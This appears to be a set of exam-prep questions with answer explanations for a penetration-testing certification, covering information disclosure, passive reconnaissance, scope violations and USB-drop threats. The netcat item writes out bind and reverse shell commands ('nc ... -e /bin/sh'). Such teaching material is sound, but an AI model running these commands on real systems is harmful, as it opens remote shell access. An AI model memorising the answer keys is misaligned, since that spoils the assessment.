What is the primary concern of information disclosure in the context of penetration testing on specialized systems, such as IoT devices or industrial control systems (ICS)?	OBJ 4.9: Information disclosure in specialized systems, like IoT devices or ICS, typically involves the unintentional leakage of sensitive data. This can occur through improper handling of data, weak encryption, or exposed interfaces that attackers can exploit. While unauthorized access, buffer overflows, and unauthorized installations are security concerns, the primary issue related to information disclosure is the exposure of sensitive information to unauthorized parties. For support or reporting issues, include

	Question ID: 66d7d2cb9ccfcd6fada1d012 in your ticket. Thank you.
Which of the following techniques listed below are not appropriate to use during a passive reconnaissance exercise against a specific target company?	Banner grabbing requires a connection to the host to grab the banner successfully. This is an active reconnaissance activity. All other options are considered passive processes and typically use information retrieved from third parties that do not directly connect to an organization's remote host. For support or reporting issues, include Question ID: 63fe0fff3b7322449ddc3932 in your ticket. Thank you.
Which of the following commands should be run on an attacker's system to connect to a target with a bind shell running?	A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell. A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. For support or reporting issues, include Question ID: 63fe10643b7322449ddc3e2f in your ticket. Thank you.
Dion Consulting Group has employed a new penetration tester to work on an upcoming engagement with a 3rd party company. The company that hired Dion Consulting has carefully constructed a scoping document that has set the boundaries for the engagement. Which of the following could occur if the new penetration tester conducts actions that are outside of the scope of the agreed-upon contract? (Select ANY that apply)	Penetration testers must be careful to conduct their activities within the boundaries of the negotiated contract and scoping documents. If the penetration tester conducts activities outside of the authorized scope, they could be fined or their company could have fees levied against it. Even worse, depending on the local, state, and country laws in the location where they are operating, the penetration tester could have criminal charges issued against them for unlawful hacking. The initial contract would not be voided by the company since a contract cannot be unilaterally voided by a single party of the contract. For support or reporting issues, include Question ID: 63fe0ff13b7322449ddc3883 in your ticket. Thank you.
During a site survey of the employee parking lot, Brian discovers several unmarked USB drives scattered near vehicles. Recognizing this as a potential security threat, he evaluates the organization's physical security measures. What actions should the organization implement to prevent such incidents from escalating into a breach? (SELECT TWO)	OBJ 3.3 - Securing the parking lot with surveillance cameras and regularly monitoring the area for suspicious items helps directly address the physical security risks posed by malicious USB drives left in such spaces. Surveillance cameras act as a deterrent and provide a means to review any unauthorized activities, while regular monitoring helps identify and remove potential threats like USB drives before employees interact with them. Limiting access to the parking lot during non-work hours may reduce unauthorized entry but is less effective for detecting or addressing dropped USB drives. Implementing RFID-based access control enhances security but focuses on preventing unauthorized vehicle access rather than identifying or addressing dropped devices. Encouraging employees to report suspicious items supports awareness but relies on employee action after a potential threat is present, rather than proactively addressing the issue. For support or reporting issues, include Question ID: 66e1f61e9ffadcf0b0ed0bf1 in your ticket. Thank you.